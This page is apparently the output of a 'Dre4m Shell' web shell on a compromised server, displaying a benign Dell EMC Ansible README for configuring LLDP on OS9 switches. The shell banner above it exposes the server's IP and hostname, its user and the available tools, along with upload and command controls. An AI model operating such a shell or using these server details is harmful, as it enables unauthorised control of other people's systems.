Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.224.57.25
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/dellemc/os9/roles/os9_lldp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/dellemc/os9/roles/os9_lldp/README.md
LLDP role
=========

This role facilitates the configuration of link layer discovery protocol (LLDP) attributes at a global and interface level. It supports the configuration of hello, mode, multiplier, advertise TLVs, management interface, FCoE, iSCSI at global and interface level. This role is abstracted for Dell EMC PowerSwitch platforms running Dell EMC OS9.

The LLDP role requires an SSH connection for connectivity to a Dell EMC OS9 device. You can use any of the built-in OS connection variables.

Role variables
--------------

- Role is abstracted using the `ansible_network_os` variable that can take `dellemc.os9.os9` as the value
- If `os9_cfg_generate` is set to true, the variable generates the role configuration commands in a file
- Any role variable with a corresponding state variable set to absent negates the configuration of that variable
- Setting an empty value for any variable negates the corresponding configuration
- Variables and values are case-sensitive

**os9_lldp keys**

| Key        | Type                      | Description                                             | Support               |
|------------|---------------------------|---------------------------------------------------------|-----------------------|
| ``global_lldp_state`` | string: absent,present   | Deletes LLDP at a global level if set to absent | os9 |
| ``enable``  | boolean         | Enables or disables LLDP at a global level | os9 |
| ``hello`` | integer | Configures the global LLDP hello interval (5 to 180) | os9 |
| ``mode``  | string: rx,tx   | Configures global LLDP mode configuration | os9 |
| ``multiplier`` | integer | Configures the global LLDP multiplier (2 to 10) | os9 |
| ``fcoe_priority_bits`` | integer | Configures priority bits for FCoE traffic (1 to FF) |  os9 |
| ``iscsi_priority_bits`` | integer | Configures priority bits for iSCSI traffic (1 to FF) | os9 |
| ``dcbx`` | dictionary  | Configures DCBx parameters at the global level (see ``dcbx.*``)     |  os9 |
| ``dcbx.version`` | string     | Configures the DCBx version | os9 |
| ``advertise`` | dictionary     | Configures LLDP-MED and TLV advertisement at the global level (see ``advertise.*``) | os9 |
| ``advertise.dcbx_tlv`` | string     | Configures DCBx TLVs advertisements | os9 |
| ``advertise.dcbx_tlv_state`` | string: present,absent     | Deletes DCBx TLVs advertisement if set to absent | os9 |
| ``advertise.dcbx_appln_tlv`` | string     | Configures DCBx application priority TLVs advertisement | os9 |
| ``advertise.dcbx_appln_tlv_state`` | string: present,absent     | Deletes DCBx application priority TLVs advertisement if set to absent | os9 |
| ``advertise.dot1_tlv`` | dictionary     | Configures 802.1 TLVs advertisement (see ``dot1_tlv.*``) | os9 |
| ``dot1_tlv.port_tlv`` | dictionary     | Configures 802.1 TLVs advertisement (see ``port_tlv.*``) | os9 |
| ``port_tlv.protocol_vlan_id`` | boolean     | Configures 802.1 VLAN ID TLVs advertisement | os9 |
| ``port_tlv.port_vlan_id`` | boolean     | Configures 802.1 VLAN ID TLVs advertisement | os9 |
| ``dot1_tlv.vlan_tlv`` | dictionary     | Configures 802.1 VLAN TLVs advertisement (see ``vlan_tlv.*``) |  os9 |
| ``vlan_tlv.vlan_range`` | string     | Configures 802.1 VLAN name TLVs advertisement | os9 |
| ``advertise.dot3_tlv`` | dictionary     | Configures 802.3 TLVs advertisement (see ``dot3_tlv.*``) | os9 |
| ``dot3_tlv.max_frame_size`` | boolean     | Configures 802.3 maximum frame size TLVs advertisement | os9 |
| ``advertise.port_descriptor`` | boolean     | Configures global port descriptor advertisement | os9 |
| ``advertise.management_tlv`` | string     | Configures global management TLVs advertisement | os9 |
| ``advertise.management_tlv_state`` | string: absent,present     | Deletes global TLVs advertisement if set to absent | os9 |
| ``advertise.med`` | dictionary     | Configures MED TLVs advertisement (see ``med_tlv.*``) | , os9 |
| ``med.global_med`` | boolean     | Configures global MED TLVs advertisement | os9 |
| ``med.application`` | list     | Configures global MED TLVs advertisement for an application (see ``application.*``) | os9 |
| ``application.name`` | string     | Configures the application name for MED TLVs advertisement | os9 |
| ``application.vlan_id`` | integer     | Configures the VLAN ID for the application MED TLVs advertisement (1 to 4094) | os9 |
| ``application.priority_tagged`` | boolean     | Configures priority tagged for the application MED TLVs advertisement; mutually exclusive with *application.vlan_id* | os9 |
| ``application.l2_priority`` | integer     | Configures the L2 priority for the application MED TLVs advertisement (0 to 7) | os9 | 
| ``application.code_point_value`` | integer     | Configures differentiated services code point values for MED TLVs advertisement (0 to 63) | os9 |
| ``med.location_identification`` | list     | Configures MED location identification TLVs advertisement (see ``location_identification.*``) | os9 |
| ``location_identification.loc_info`` | string     | Configures location information for MED TLVs advertisement | os9 |
| ``location_identification.value`` | string     | Configures location information values | os9 |
| ``location_identification.state`` | string: absent,present   | Deletes the location information if set to absent | os9 |
| ``management_interface`` | dictionary     | Configures LLDP on the management interface (see ``management_interface.*``)     | os9 |
| ``management_interface.enable``  | boolean         | Enables/disables LLDP on the management interface | os9 |
| ``management_interface.hello`` | integer | Configures LLDP hello interval on the management interface (5 to 180) | os9 |
| ``management_interface.mode``  | string: rx,tx   | Configures LLDP mode on the management interface | os9 |
| ``management_interface.multiplier`` | integer | Configures LLDP multiplier on the management interface (2 to 10) | os9 |
| ``management_interface.advertise`` | dictionary     | Configures TLV advertisement on the management interface (see ``advertise.*``)     | os9 |
| ``advertise.port_descriptor`` | boolean     | Configures port descriptor advertisement on the management interface  | os9 |
| ``advertise.management_tlv`` | string     | Configures management TLVs advertisement  | os9 |
| ``advertise.management_tlv_state`` | string: absent,present     | Deletes management TLVs advertisement if set to absent | os9 |
| ``local_interface`` | dictionary     | Configures LLDP at the interface level (see ``local_interface.*``) | os9 |
| ``local_interface.<interface name>`` | dictionary     | Configures LLDP at the interface level (see ``interface name.*``)     | os9 |
| ``<interface name>.state`` | string: absent,present   | Deletes LLDP at the interface level if set to absent | os9 |
|  ``<interface name>.enable``  | boolean         | Enables or disables LLDP at the interface level | os9 |
| ``<interface name>.hello`` | integer | Configures LLDP hello interval at the interface level (5 to 180) | os9 |
| ``<interface name>.mode``  | string: rx,tx   | Configures LLDP mode configuration at the interface level | os9 |
| ``<interface name>.multiplier`` | integer | Configures LLDP multiplier at the interface level (2 to 10) |  os9 |
| ``<interface name>.dcbx`` | dictionary  | Configures DCBx parameters at the interface level (see ``dcbx.*``)     | os9 |
| ``dcbx.version`` | string     | Configures DCBx version at the interface level  | os9 |
| ``<interface name>.advertise`` | dictionary     | Configures LLDP-MED TLV advertisement at the interface level (see ``advertise.*``)     | os9 |
| ``advertise.dcbx_tlv`` | string     | Configures DCBx TLVs advertisement at the interface level | os9 |
| ``advertise.dcbx_tlv_state`` | string: present,absent     | Deletes interface level DCBx TLVs advertisement if set to absent | os9 |
| ``advertise.dcbx_appln_tlv`` | string     | Configures DCBx application priority TLVs advertisement at the interface level |  os9 |
| ``advertise.dcbx_appln_tlv_state`` | string: present,absent     | Deletes interface level DCBx application priority TLVs advertisement if set to absent | os9 |
| ``advertise.dot1_tlv`` | dictionary     | Configures 802.1 TLVs advertisement at the interface level (see ``dot1_tlv.*``) | os9 |
| ``dot1_tlv.port_tlv`` | dictionary     | Configures 802.1 TLVs advertisement at the interface level (see ``port_tlv.*``) | os9 |
| ``port_tlv.protocol_vlan_id`` | boolean     | Configures 802.1 VLAN ID TLVs advertisement at the interface level | os9 |
| ``port_tlv.port_vlan_id`` | boolean     | Configures 802.1 VLAN ID TLVs advertisement at the interface level | os9 | 
| ``dot1_tlv.vlan_tlv`` | dictionary     | Configures 802.1 VLAN TLVs advertisement at the interface level (see ``vlan_tlv.*``) | os9 |
| ``vlan_tlv.vlan_range`` | string     | Configures 802.1 VLAN name TLVs advertisement at the interface level | os9  |
| ``advertise.dot3_tlv`` | dictionary     | Configures 802.3 TLVs advertisement at the interface level (see ``dot3_tlv.*``) | os9 |
| ``dot3_tlv.max_frame_size`` | boolean   | Configures 802.3 maximum frame size TLVs advertisement at the interface level | os9 |
| ``advertise.port_descriptor`` | boolean     | Configures port descriptor advertisement at the interface level | os9 |
| ``advertise.management_tlv`` | string     | Configures TLVs advertisement at the interface level | os9 | 
| ``advertise.management_tlv_state`` | string: absent,present     | Deletes TLVs advertisement at the interface level if set to absent | os9 |
| ``advertise.med`` | dictionary     | Configures MED TLVs advertisement at the interface level (see ``med_tlv.*``) | os9 |
| ``med.global_med`` | boolean     | Configures MED TLVs advertisement at the interface level | os9 |
| ``med.application`` | list     | Configures MED TLVs advertisement for the application at the interface level (see ``application.*``) | os9 |
| ``application.name`` | string     | Configures the application name for MED TLVs advertisement | os9 |
| ``application.vlan_id`` | integer     | Configures the VLAN ID for the application MED TLVs advertisement at the interface level (1 to 4094) | os9 |
| ``application.priority_tagged`` | boolean     | Configures priority tagged for the application MED TLVs advertisement at the interface level; mutually exclusive with *application.vlan_id* | os9 |
| ``application.l2_priority`` | integer     | Configures the L2 priority for the application MED TLVs advertisement at the interface level (0 to 7) | os9 |
| ``application.code_point_value`` | integer     | Configures differentiated services code point value for MED TLVs advertisement at the interface level (0 to 63) | os9 |
| ``med.location_identification`` | list     | Configures MED location identification TLVs advertisement at the interface level (see ``location_identification.*``) | os9 |
| ``location_identification.loc_info`` | string     | Configures location information for MED TLVs advertisement at the interface level | os9 |
| ``location_identification.value`` | string     | Configures the location information value for MED TLVs advertisement at the interface level | os9 |
| ``location_identification.state`` | string: absent,present   | Deletes the interface level MED location information if set to absent | os9 |


Connection variables
--------------------

Ansible Dell EMC network roles require connection information to establish communication with the nodes in your inventory. This information can exist in the Ansible *group_vars* or *host_vars* directories or inventory, or in the playbook itself.

| Key         | Required | Choices    | Description                                         |
|-------------|----------|------------|-----------------------------------------------------|
| ``ansible_host`` | yes      |            | Specifies the hostname or address for connecting to the remote device over the specified transport |
| ``ansible_port`` | no       |            | Specifies the port used to build the connection to the remote device; if value is unspecified, the `ANSIBLE_REMOTE_PORT` option is used; it defaults to 22 |
| ``ansible_ssh_user`` | no       |            | Specifies the username that authenticates the CLI login for the connection to the remote device; if value is unspecified, the `ANSIBLE_REMOTE_USER` environment variable value is used  |
| ``ansible_ssh_pass`` | no       |            | Specifies the password that authenticates the connection to the remote device. |
| ``ansible_become`` | no       | yes, no\*   | Instructs the module to enter privileged mode on the remote device before sending any commands; if value is unspecified, the `ANSIBLE_BECOME` environment variable value is used, and the device attempts to execute all commands in non-privileged mode |
| ``ansible_become_method`` | no       | enable, sudo\*   | Instructs the module to allow the become method to be specified for handling privilege escalation; if value is unspecified, the `ANSIBLE_BECOME_METHOD` environment variable value is used |
| ``ansible_become_pass`` | no       |            | Specifies the password to use if required to enter privileged mode on the remote device; if ``ansible_become`` is set to no this key is not applicable |
| ``ansible_network_os`` | yes      | os9, null\*  | Loads the correct terminal and cliconf plugins to communicate with the remote device |

> **NOTE**: Asterisk (\*) denotes the default value if none is specified.

Example playbook
----------------

This example uses the *os9_lldp* role to configure protocol lldp. It creates a *hosts* file with the switch details and corresponding variables. The hosts file should define the `ansible_network_os` variable with corresponding Dell EMC OS9 name. 

When `os9_cfg_generate` is set to true, the variable generates the configuration commands as a .part file in *build_dir* path. By default, the variable is set to false. It writes a simple playbook that only references the *os9_lldp* role.
 
**Sample hosts file**

    leaf1 ansible_host= <ip_address> 

**Sample host_vars/leaf1**

    hostname: leaf1
    ansible_become: yes
    ansible_become_method: xxxxx
    ansible_become_pass: xxxxx
    ansible_ssh_user: xxxxx
    ansible_ssh_pass: xxxxx
    ansible_network_os: dellemc.os9.os9
    build_dir: ../temp/os9
    os9_lldp:
      global_lldp_state: present
      enable: false
      mode: rx
      multiplier: 3
      fcoe_priority_bits: 3
      iscsi_priority_bits: 3
      hello: 6
      dcbx:
        version: auto
      management_interface:
        hello: 7
        multiplier: 3
        mode: tx
        enable: true
        advertise:
          port_descriptor: false
          management_tlv: management-address system-capabilities
          management_tlv_state: absent
      advertise:
        dcbx_tlv: pfc
        dcbx_tlv_state: absent
        dcbx_appln_tlv: fcoe
        dcbx_appln_tlv_state:
        dot1_tlv:
          port_tlv:
            protocol_vlan_id: true
            port_vlan_id: true
          vlan_tlv:
            vlan_range: 2-4
        dot3_tlv:
          max_frame_size: false
        port_descriptor: false
        management_tlv: management-address system-capabilities
        management_tlv_state: absent
        med:
          global_med: true
          application:
            - name: "guest-voice"
              vlan_id: 2
              l2_priority: 3
              code_point_value: 4
            - name: voice
              priority_tagged: true
              l2_priority: 3
              code_point_value: 4
          location_identification:
            - loc_info: ecs-elin
              value: 12345678911
              state: present
      local_interface:
        fortyGigE 1/3:
          lldp_state: present
          enable: false
          mode: rx
          multiplier: 3
          hello: 8
          dcbx:
            version: auto
          advertise:
            dcbx_tlv: pfc
            dcbx_tlv_state: present
            dcbx_appln_tlv: fcoe
            dcbx_appln_tlv_state: absent
            dot1_tlv:
              port_tlv:
                protocol_vlan_id: true
                port_vlan_id: true
              vlan_tlv:
                vlan_range: 2-4
                state: present
            dot3_tlv:
              max_frame_size: true
            port_descriptor: true
            management_tlv: management-address system-capabilities
            management_tlv_state: absent
            med:
              application:
                - name: guest-voice
                  vlan_id: 2
                  l2_priority: 3
                  code_point_value: 4
                - name: voice
                  priority_tagged: true
                  l2_priority: 3
                  code_point_value: 4
              location_identification:
                - loc_info: ecs-elin
                  value: 12345678911

**Simple playbook to setup system — leaf.yaml**

    - hosts: leaf1
      roles:
         - dellemc.os9.os9_lldp

**Run**

    ansible-playbook -i hosts leaf.yaml

(c) 2017-2020 Dell Inc. or its subsidiaries. All rights reserved.

Anon7 - 2022
AnonSec Team